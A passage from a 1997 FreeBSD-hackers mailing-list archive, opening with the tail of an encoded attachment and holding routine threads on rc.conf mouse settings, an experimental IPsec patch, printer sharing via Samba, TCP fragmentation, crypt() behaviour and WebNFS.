MM0U.T_'1;'AV.1D-IX<5/3"6]@W27[TXFLZ&$VTZFN$XHEN1/VBU_(#Y3=UN MKNRHR(;NM/A4X?>:G3_;X$O8`/*SL/6T M9X#2[JGJUOC/?XCXW^TJ*L7_3EMZ`>K3DI7`_WG\3_2_,I]2UE_(_P`]J:C_ MGJ*4^?\YX.)$A=TT738I2B\^UN`0]ON6+'45O2TI/:FOFX;:[QF=3L>:Z_M] M=;]=QO'_#?#U""NII\T`OR/^*W)7)O_O2KTR_C\'I/KGGPU=?XHS'H__DM1; M]W]"_W)'*?N_9X&]O3T(`Z-E>*N5YS:7E0ML[H[\`&0)Y,Z@(PW:G:1U:S0: MFY@_,Y,W=MC?2;U!NT]M&Z,*T-J#=Y[G M,-V%&]V)61-@KX7C9^>7[X[.P78C8!]XNZ1Y/K6H!SA9_?Z!=;CL^_PR2P\C M#7M2\P#'DY.F/C-LRT;Z>8]K>&ZDVZ[M+L#55RR$R(-;+[@&9'.3#,0,(S"6 M:#%[O'+2K,!;Y2EZB'>Y+]7E?G?-N]Q7ZIVVG/*>(U;TJ!JGXZ`PYU`_A:VU MM@TK3]Y>'DDSXB#T`BX!+K,Q#H)C(S9SH\`FGI=Z!$O]AL&<,1JNR8^DLUC`/"L5;LAW MX+*O9O;(GR(TCU*]V\OI MA`_L]U*=$-P&=L0T[&XU;B:[-6+Z/K4[_`-[()X!H.1"6.F_>D%K9;LH!S=> MS5D0PAN0NC"WD6G'BVJ7-$H.O<[V8]B*L"\W?DG1KN.@3;0+I$H&=8"8X!QPA8*@] MTCA9,F'F4>#E87(.X=ZG'M3XKT`3]_H-3N*5#SJ$:#7TO`DEC78Q862Q##T0 M"0Z8$7EDI'PBC)T([!!X6Q8;"0\-X3"E<;F17)VL1S:.)H M,AS/M)/A3Z/C(2&9[,8V\*0X`%\/T!UPKPNF'1ULDL.:NFIKU4]/,#;/VGY+^H/@5"1.&(LNI^'>0(I,A2BPA(=#O,-6V+`A-7NB(K*"DE MRZU/("G"*L:DWR&U2F6[S&K9(=SRAI/)Y00W;]:`^DCY5N:[VULD3?W8[^=3Y*7-H/V`W M7'AQ"(>0?#G(9K,)*M"T1(0\T?)")0&L,8Y)1:0LK!QX0.>ERRWF7+;"V@LI M-^.`EQU+*N>2U&'Q37$TVXG\$!%$983)8&1A0L:D''D^S.\@9%%$NPBJ,$0- M+T]%$;2VE]V,``R8XZOS\QJ\?KVNC"CS5G*<_3@\.AE.M.'X1+L\U4Y'YT-1 MB`H)W-K8>6$HYO@BXN(?0T<>Q-KI;'1^KEV-)_ASD.F75U6HN'S%+@\ZZD`M M*#A%W"S8I3XJ^1$-[Z.*]_,ZQH&NO,XDE=.CV=&YEK-K%@2NQVW[6'?)@K$> M<1=)\A5)_`Z^#=&B^7H1X)+2M/$F0:9RJU83Q7UE+?2LBN?BK7SB?Y.IEU@_ M&BM_%UO893W;CIBNU00:0+*@@K8T82L/JUQN*8EO\QKXKDXE"!8"MU3(QEBK MZLD27+RBYAC-Y0I5,@_BB)>Z!F:T:&G3:S.342&A`XHYS!;I[MTMNA,WGDJ. MDY>I^2"-[$-4RTUG9'*C)PJYF8G^),1JB&&"9"NB6>R+J&1UF4URU^'#:ROE M1BK&[W/'\5S+1S]E!LZ7Y@IRV(M6_F;[4$D%GXR2%V2G9]RO.>%>E^T!:^2$ M_X,\WA96"'+L;%(D,.[3KVNNOHZ,C5-NE[RH62,F1%(R3'X+#BN%S8H+#AX^ M5NQV"%MQN03$49]S=P^9^M:*1%/!P(7F-Q>-,/H;>IL7F$E3AP9-SSBP<02, M-4MAUT+?6$4W*(;>K05,?1J/9+@LMBSL.ST160OVG(4\9$@Z$,.B1ZADL?MG M1M4>>8?P(M[SB7G1>T@'Z=!]%M[H670Q>V%3I_0W@UN"MAG:9,3L;@]MLH3] MN)3OQ_E`KO?[]$H\;'A5S]YT8]>]B,GUZMR?ZC#\Y?C\ZF2H7;Z?C2[']_7- ME0WJIQY;_MTOW^764+\<(;KK?8[X@1"_YX@4!AL4!HNHK[,`60]C'L^QW>N&90?A-M%?K46?8#^&)W;U33UB M6_#B'%[(&BE/#3_P%H'^J.2OID/M^/+B_60XG6KO)Y=GDZ.+HNW=L&#NA=L. MOZ'#"\___.O%$[_]_5W/_WM=N8>_>[UN^?[W68#T__Y\-)T]X1E?>O_;P=XA MT;_2EMO)^Y^.6C[_?PY(;_GD+_F\C5WZ#H6[/B:6GECZ?GN2W>C)OF/17MV\ MYE.\M%2\LU2\LE2\L52\L%2\KU2\KO3V3_)\/I\>0)S_BB M_W>DS/_;4H?\7^V5_O\L,*,.EC>O=`&1'IJT+&#\ M^9;M1LPUF2G::/SW:TSM!X1+)*7AV#=8U'.JL)BL1BSD)%A8"5(YJ3LV-BUS MAG.,TXOKYX$7+Y:T<[/T\J\#\G^L*B^&XZ>K`+YX_TN5L_JOQ_._U.[(I?\_ M!Z3>'D%?P-\1R".`%```"64 ` end From owner-freebsd-hackers Wed Jun 25 18:30:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA25670 for hackers-outgoing; Wed, 25 Jun 1997 18:30:21 -0700 (PDT) Received: from atlantis.nconnect.net (root@atlantis.nconnect.net [207.227.50.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA25662 for ; Wed, 25 Jun 1997 18:30:18 -0700 (PDT) Received: from arabian.astrolab.org (dial165.nconnect.net [207.227.50.165]) by atlantis.nconnect.net (8.8.4/8.7.3) with ESMTP id UAA15081 for ; Wed, 25 Jun 1997 20:20:50 -0500 (CDT) Message-ID: <33B1C5FF.216EC8B5@nconnect.net> Date: Wed, 25 Jun 1997 20:29:35 -0500 From: Randall D DuCharme Reply-To: randyd@nconnect.net X-Mailer: Mozilla 4.0b5C (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: New rc.conf syntax errors? X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Greetings, If you already know about this then please forgive the intrusion. I just updated my -current system's startup files with the ones I've recently cvsupped. In rc.conf the moused_type, moused_port, and moused_flags cause errors as the rc.i386 file looks for mousedtype, mousedport, and mousedflags respectively. FWIW, I really like the changes to the startup scripts!! Thanks Respectfully Randy DuCharme From owner-freebsd-hackers Wed Jun 25 18:34:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA25933 for hackers-outgoing; Wed, 25 Jun 1997 18:34:47 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA25924; Wed, 25 Jun 1997 18:34:41 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id KAA17486; Thu, 26 Jun 1997 10:34:26 +0900 (JST) To: Kenji Rikitake Cc: freebsd-security@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: ipsec code made in Japan X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: <19970626004928.16465.qmail@reseau.toyonaka.osaka.jp> In-reply-to: Kenji Rikitake 's message of Thu, 26 Jun 1997 09:49:28 +0900 (JST). <19970626004928.16465.qmail@reseau.toyonaka.osaka.jp> X-Mailer: comp (MHng project) version 1997/04/30 02:23:09, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Thu, 26 Jun 1997 10:34:26 +0900 Message-ID: <17483.867288866@itojun.csl.sony.co.jp> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> I've made a IPv4 IPsec patch to 2.2.1-RELEASE, in: >> ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/ >> (should be easily applied to 222-RELEASE too) >> Please read the following document with care BEFORE downloading it. >> ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/README >Some more comments on the above experimental code: >* ESP (Encapsulated Security Payload, which means encrypted packets) > has some glitches yet on the 970623 version yet, causing data > corruption on TCP applications such as ftp or ssh. Itojun and the > developpers are working hard to fix the problem. thanks kenji, I've put ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/BUGS for this announcement :-) itojun From owner-freebsd-hackers Wed Jun 25 19:30:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA28603 for hackers-outgoing; Wed, 25 Jun 1997 19:30:52 -0700 (PDT) Received: from emout16.mail.aol.com (emout16.mx.aol.com [198.81.11.42]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA28597 for ; Wed, 25 Jun 1997 19:30:50 -0700 (PDT) From: StevenR362@aol.com Received: (from root@localhost) by emout16.mail.aol.com (8.7.6/8.7.3/AOL-2.0.0) id WAA09860; Wed, 25 Jun 1997 22:30:16 -0400 (EDT) Date: Wed, 25 Jun 1997 22:30:16 -0400 (EDT) Message-ID: <970625222843_-2013044868@emout16.mail.aol.com> To: imp@village.org cc: hackers@freebsd.org Subject: Re: Printer sharing Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In a message dated 97-06-25 21:42:06 EDT, imp@village.org (Warner Losh) writes: > StevenR362@aol.com writes: > : You have at least two options that should work. Option one is to buy > : a high quality automatic printer switch that is bidirectional > : I.E.E. 1280? (can't remember the exact number) compatible. It has to > : fully mimic a straight through bidirectional cable. > > I picked up one for about $25 that I was told was completely > compilant. Doesn't work :-(. > You shoulda spent the extra $10.00 for a more compliant, compliant one ;) It has to be fully 1284 ECP/EPP compliant. No cheapo clones need apply. > I'm thinking that this is the best bet. I will most liekly do this. > However, there is a gotcha: I have to use a generic PS driver and > ghostscript to do this. Otherwise I'm SOL because the HP printer > driver will not allow a connection to a network printer :-(. Use Samba and apsfilter with ghostscript 4 or 5 on your FreeBSD machine. Set up ghostscript with the closest matching HP emulation drivers to your printers. On the windows box, if the provided drivers do not allow a network connection then use the closest matching Microsoft HP drivers. I've had to do this at work using HP LJ III drivers on client machines to network connect to an Okidata OL600 plug&pray printer. Steve From owner-freebsd-hackers Wed Jun 25 20:07:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA00277 for hackers-outgoing; Wed, 25 Jun 1997 20:07:26 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA00272 for ; Wed, 25 Jun 1997 20:07:23 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id UAA24849; Wed, 25 Jun 1997 20:07:46 -0700 (PDT) To: randyd@nconnect.net cc: hackers@FreeBSD.ORG Subject: Re: New rc.conf syntax errors? In-reply-to: Your message of "Wed, 25 Jun 1997 20:29:35 CDT." <33B1C5FF.216EC8B5@nconnect.net> Date: Wed, 25 Jun 1997 20:07:46 -0700 Message-ID: <24846.867294466@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I just updated my -current system's startup files with the ones I've > recently cvsupped. In rc.conf the moused_type, moused_port, and > moused_flags > cause errors as the rc.i386 file looks for mousedtype, mousedport, and > mousedflags respectively. Hmm, this has long since been fixed - are you sure you really got the -current ones? Jordan From owner-freebsd-hackers Wed Jun 25 21:40:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA03030 for hackers-outgoing; Wed, 25 Jun 1997 21:40:15 -0700 (PDT) Received: from titan.cs.mci.com (titan.cs.mci.com [166.37.6.15]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA03021 for ; Wed, 25 Jun 1997 21:40:07 -0700 (PDT) Received: from localhost by titan.cs.mci.com; (5.65v3.2/1.1.8.2/14Mar97-0149PM) id AA07801; Wed, 25 Jun 1997 22:39:38 -0600 Date: Wed, 25 Jun 1997 22:39:38 -0600 (MDT) From: "Thomas S. Traylor" To: Warner Losh Cc: hackers@FreeBSD.ORG Subject: Re: Printer sharing In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997, Warner Losh wrote: > > OK. I wanna share my two printers between my two systems. Once is a > nice laser printer and the other is a color inkjet printer. Both are > HP printers. The *STUPID* hp driver *REQUIRES* that the printer be > connected to the computer and seems to go to great lengths to detect > and defeat printer share boxes. I used Samba to share a DeskJet 660Cse between a Win95 Laptop and my FreeBSD system. The printer was attached to the FreeBSD box. This worked well and you got the added freature or sharing disks. If you're interested in the filters for lpr let me know. I'm currently using the Axis Pocket Printserver (www.axis.com). It is the 530D. It supports TCP/IP, LPD, NOVEL, LANMAN and MAC. Not much different than running Samba other than I don't have to have all my systems running to use the printer. It came with scripts to configure it for Unix and windows. > Comments? > > Warner > -- Thomas Traylor Thomas.Traylor@mci.com ttraylor@titan.cs.mci.com (719) 535-1269 From owner-freebsd-hackers Wed Jun 25 23:14:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA05911 for hackers-outgoing; Wed, 25 Jun 1997 23:14:47 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA05899 for ; Wed, 25 Jun 1997 23:14:37 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.fr [193.56.58.33]) by mexico.brainstorm.eu.org (8.8.4/8.8.4) with ESMTP id IAA04904 for ; Thu, 26 Jun 1997 08:14:24 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.8.4/8.6.12) with UUCP id IAA00572 for freebsd-hackers@FreeBSD.ORG; Thu, 26 Jun 1997 08:14:10 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.6/keltia-uucp-2.9) id HAA10976; Thu, 26 Jun 1997 07:39:26 +0200 (CEST) Message-ID: <19970626073926.17254@keltia.freenix.fr> Date: Thu, 26 Jun 1997 07:39:26 +0200 From: Ollivier Robert To: freebsd-hackers@FreeBSD.ORG Subject: Re: Be net friendly, add an 'abuse' alias to the distributed aliases file References: <199706252200.QAA07651@ice.cold.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: <199706252200.QAA07651@ice.cold.org>; from Brandon Gillespie on Wed, Jun 25, 1997 at 04:00:42PM -0600 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3392 AMD-K6 MMX @ 208 MHz Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Brandon Gillespie: > Just a thought.. why dont we add an 'abuse' alias to the default aliases > file, since its becoming a pretty standard address (like postmaster, and > whatnot). It is mentionned in a recent RFC (2137 or 2142 I think) about mail aliases that should exist on any given system connected to the Internet... -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #20: Fri Jun 13 00:16:13 CEST 1997 From owner-freebsd-hackers Thu Jun 26 00:54:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA09520 for hackers-outgoing; Thu, 26 Jun 1997 00:54:59 -0700 (PDT) Received: from inetfw.sonycsl.co.jp (inetfw.sonycsl.co.jp [203.137.129.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA09515 for ; Thu, 26 Jun 1997 00:54:56 -0700 (PDT) Received: from hotaka.csl.sony.co.jp (hotaka.csl.sony.co.jp [43.27.98.57]) by inetfw.sonycsl.co.jp (8.8.5/3.5W) with ESMTP id QAA25555; Thu, 26 Jun 1997 16:54:19 +0900 (JST) Received: from localhost (localhost [127.0.0.1]) by hotaka.csl.sony.co.jp (8.8.4/3.3W3) with ESMTP id QAA13876; Thu, 26 Jun 1997 16:54:03 +0900 (JST) Message-Id: <199706260754.QAA13876@hotaka.csl.sony.co.jp> To: Bill Fenner cc: Chris Csanady , hackers@FreeBSD.ORG Subject: Re: TCP/IP bug? Unnecessary fragmentation... In-reply-to: Your message of "Wed, 25 Jun 1997 13:13:43 PDT." <97Jun25.131348pdt.177513@crevenia.parc.xerox.com> Date: Thu, 26 Jun 1997 16:54:03 +0900 From: Kenjiro Cho Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Bill Fenner wrote: >> Kenjiro Cho wrote: >I think, considering the wide use of TCP, the socket layer should try >to call tcp_usr_send all at once when possible. >> That would be going backwards, to some extent. Van Jacobson wrote >> in a 1988 message about upping TCP stack performance: Hmmm, was the Nagle algorithm already implemented back then? The modified sosend ends up with a long delay when divided chunks trigger the Nagle Algorithm. It seems worse than the possible gain by parallelism. --kj --- Kenjiro Cho Sony Computer Science Laboratory Inc. From owner-freebsd-hackers Thu Jun 26 00:57:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA09650 for hackers-outgoing; Thu, 26 Jun 1997 00:57:04 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA09644 for ; Thu, 26 Jun 1997 00:57:01 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id RAA04797; Thu, 26 Jun 1997 17:53:27 +1000 Date: Thu, 26 Jun 1997 17:53:27 +1000 From: Bruce Evans Message-Id: <199706260753.RAA04797@godzilla.zeta.org.au> To: freebsd-hackers@FreeBSD.ORG, j@uriah.heep.sax.de Subject: Re: BSD io Cc: MSAYER@cuscal.com.au Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> Hmm... Does IEXTEN do anything other than enable (or disable, in >> this case) LNEXT and DISCARD processing? > >That's what the man page says. (Well, there is a man page for >termios, after all. ;) Who would trust the man page? :-) See termios.h for a complete list of the control characters affected by IEXTEN, and tty.c for the implementation-defined behaviour mentioned in the man page. Bruce From owner-freebsd-hackers Thu Jun 26 05:40:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA20198 for hackers-outgoing; Thu, 26 Jun 1997 05:40:16 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA20143 for ; Thu, 26 Jun 1997 05:39:36 -0700 (PDT) Received: from localhost (narvi@localhost) by haldjas.folklore.ee (8.8.4/8.8.4) with SMTP id QAA25872; Thu, 26 Jun 1997 16:06:42 +0300 (EEST) Date: Thu, 26 Jun 1997 16:06:41 +0300 (EEST) From: Narvi To: Warner Losh cc: StevenR362@aol.com, hackers@FreeBSD.ORG Subject: Re: Printer sharing In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997, Warner Losh wrote: > In message <970625181551_-1428725356@emout12.mail.aol.com> StevenR362@aol.com writes: > : You have at least two options that should work. Option one is to buy > : a high quality automatic printer switch that is bidirectional > : I.E.E. 1280? (can't remember the exact number) compatible. It has to > : fully mimic a straight through bidirectional cable. > > I picked up one for about $25 that I was told was completely > compilant. Doesn't work :-(. > > : Option two is to run Samba on your FreeBSD box with both printers attached > : and network mount them on your windows machine. I would have done this > : except I already had the switch. This also gives you the added benefit of > : being able to mount disk space from your FreeBSD box on your windows > : machine. Two $19.00 NE2000 clones will set you right up for less than the > : printer switches. Also take a look at apsfilter in ports. It is about as > : transparent as you can get for printing from Unix. > > I'm thinking that this is the best bet. I will most liekly do this. > However, there is a gotcha: I have to use a generic PS driver and > ghostscript to do this. Otherwise I'm SOL because the HP printer > driver will not allow a connection to a network printer :-(. There used to be a driver from adobe available (on HP web) for HP printers. Wouldn't it be a bit better and still allow connecting to a net printer. Sander There is no love, no good, no happiness and no future - all these are just illusions. > > Warner > From owner-freebsd-hackers Thu Jun 26 08:38:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA26566 for hackers-outgoing; Thu, 26 Jun 1997 08:38:25 -0700 (PDT) Received: from korin.warman.org.pl (korin.warman.org.pl [148.81.160.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA26558 for ; Thu, 26 Jun 1997 08:38:17 -0700 (PDT) Received: from localhost (abial@localhost) by korin.warman.org.pl (8.8.5/8.7.3) with SMTP id RAA09834 for ; Thu, 26 Jun 1997 17:37:57 +0200 (MET DST) Date: Thu, 26 Jun 1997 17:37:57 +0200 (MET DST) From: Andrzej Bialecki To: freebsd-hackers@FreeBSD.ORG Subject: Disk built-in hw cache Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi! I just read certain discussion on Linux list concerning bad/missing/removed disk cache in "repaired" (and sold as new) hard disks. Linux prints during probing the size of disk cache (at least that what the hd will tell it). How to achieve the same result in FreeBSD? There is a #ifdef WDDEBUG flag in wd.c, around some interesting printfs. Will it give me this info? Sincerely yours, --- Andrzej Bialecki FreeBSD: Turning PCs Into Workstations http://www.freebsd.org Research and Academic Network in Poland From owner-freebsd-hackers Thu Jun 26 09:41:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29433 for hackers-outgoing; Thu, 26 Jun 1997 09:41:32 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA29425; Thu, 26 Jun 1997 09:41:29 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA07826; Thu, 26 Jun 1997 09:29:37 -0700 From: Terry Lambert Message-Id: <199706261629.JAA07826@phaeton.artisoft.com> Subject: Re: BSD io To: chat@freebsd.org Date: Thu, 26 Jun 1997 09:29:36 -0700 (MST) Cc: terry@lambert.org, hackers@freebsd.org In-Reply-To: <199706250430.VAA11972@exit.com> from "Frank Mayhar" at Jun 24, 97 09:30:30 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > In point of fact, I worked on a DOS communications program > > that could do the same on an 8MHz AT. It took the interrupt > > for the first character, disabled interrupts, and polled like > > hell until there was a break in the data. It's all a matter > > of how you program it. > > Geeze. Who here has _not_, at some point in their career, written a > DOS (or CP/M) communications program? It's not the same thing at all. Mine was commercial, and it was the top rated communications program for UNIX systems (beating out even UUCP) for four years in a row. It was also the first shrink-wrapped psoftware ever sold for UNIX systems. It could also emulate a VT100 well enough to run EDT or LSE, with you sitting at a Hazeltine, Televideo, Wyse, IBM 3101, or other not-at-all-DEC-compatible terminal. And vice versa. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 26 09:44:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29624 for hackers-outgoing; Thu, 26 Jun 1997 09:44:23 -0700 (PDT) Received: from ice.cold.org (cold.org [206.81.134.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA29619 for ; Thu, 26 Jun 1997 09:44:20 -0700 (PDT) Received: from localhost (brandon@localhost) by ice.cold.org (8.8.5/8.8.5) with SMTP id KAA09637 for ; Thu, 26 Jun 1997 10:44:28 -0600 (MDT) Date: Thu, 26 Jun 1997 10:44:28 -0600 (MDT) From: Brandon Gillespie To: freebsd-hackers@freebsd.org Subject: crypt() inconsistancies Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Just a note as I'm re-reviewing the changes I have for crypt()... In the docs it says: The function crypt() returns a pointer to the encrypted value on success and NULL on failure. At first I was pretty happy about this, as having a means of specifying an error would be wonderful. However, double checking in Digital Unix and Unixware shows that this returning NULL behaviour is not a standard behaviour. Is there a specification (POSIX?) for how crypt() should behave, and if so, could somebody forward it to me so I can make sure the newer code follows it (this code includes SHA-1 encryption, and will allow $MD5$.. or $SHA1$ etc tags, as well as numbers) -Brandon Gillespie From owner-freebsd-hackers Thu Jun 26 10:00:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA00668 for hackers-outgoing; Thu, 26 Jun 1997 10:00:04 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA00629 for ; Thu, 26 Jun 1997 10:00:00 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA07861; Thu, 26 Jun 1997 09:47:36 -0700 From: Terry Lambert Message-Id: <199706261647.JAA07861@phaeton.artisoft.com> Subject: Re: NetBSD and WebNFS To: imp@village.org (Warner Losh) Date: Thu, 26 Jun 1997 09:47:35 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Warner Losh" at Jun 25, 97 10:58:46 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Looks like NetBSD just imported WebNFS support. Just thought I'd pass > this along because it is relevant to the market nitche that FreeBSD is > generally used in. WebNFS is pretty trivial; it just means "interpret the handle 0 as an unauthenticated connection to the WebNFS root". WebNFS is not terribly useful for more than one exported volume, unfortunately; it's a hack. That's why CIFS endangers it. As a hack on a hack, you can seperate services by IP alias to get multiple volumes. This is not terribly satisfactory. The alternative is to unify the NFS namespace, which is not trivial. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 26 10:05:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA00967 for hackers-outgoing; Thu, 26 Jun 1997 10:05:22 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA00953 for ; Thu, 26 Jun 1997 10:05:16 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA07878; Thu, 26 Jun 1997 09:52:47 -0700 From: Terry Lambert Message-Id: <199706261652.JAA07878@phaeton.artisoft.com> Subject: Re: Be net friendly, add an 'abuse' alias to the distributed aliases file To: brandon@roguetrader.com (Brandon Gillespie) Date: Thu, 26 Jun 1997 09:52:47 -0700 (MST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199706252200.QAA07651@ice.cold.org> from "Brandon Gillespie" at Jun 25, 97 04:00:42 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Thats probably the longest subject I've ever had 8) > > Just a thought.. why dont we add an 'abuse' alias to the default aliases > file, since its becoming a pretty standard address (like postmaster, and > whatnot). See RFC2142. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 26 11:32:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA04632 for hackers-outgoing; Thu, 26 Jun 1997 11:32:26 -0700 (PDT) Received: from casparc.ppp.net (mail.ppp.net [194.64.12.35]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA04558; Thu, 26 Jun 1997 11:32:09 -0700 (PDT) Received: from ernie by casparc.ppp.net with uucp (Smail3.1.28.1 #1) id m0whJKs-000o32C; Thu, 26 Jun 97 20:32 MET DST Received: from bert.kts.org(really [194.55.156.2]) by ernie.kts.org via sendmail with smtp id for ; Thu, 26 Jun 1997 20:18:46 +0200 (MET DST) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Feb-8) Received: by bert.kts.org via sendmail with stdio id for chat@FreeBSD.ORG; Thu, 26 Jun 1997 20:13:11 +0200 (CEST) (Smail-3.2.0.94 1997-Apr-22 #4 built 1997-Jun-25) Message-Id: From: hm@kts.org (Hellmuth Michaelis) Subject: Re: BSD io In-Reply-To: <199706261629.JAA07826@phaeton.artisoft.com> from Terry Lambert at "Jun 26, 97 09:29:36 am" To: terry@lambert.org (Terry Lambert) Date: Thu, 26 Jun 1997 20:13:11 +0200 (CEST) Cc: chat@FreeBSD.ORG, terry@lambert.org, hackers@FreeBSD.ORG Organization: Kitchen Table Systems Reply-To: hm@kts.org X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Terry Lambert wrote: > It's not the same thing at all. Mine was commercial, and it 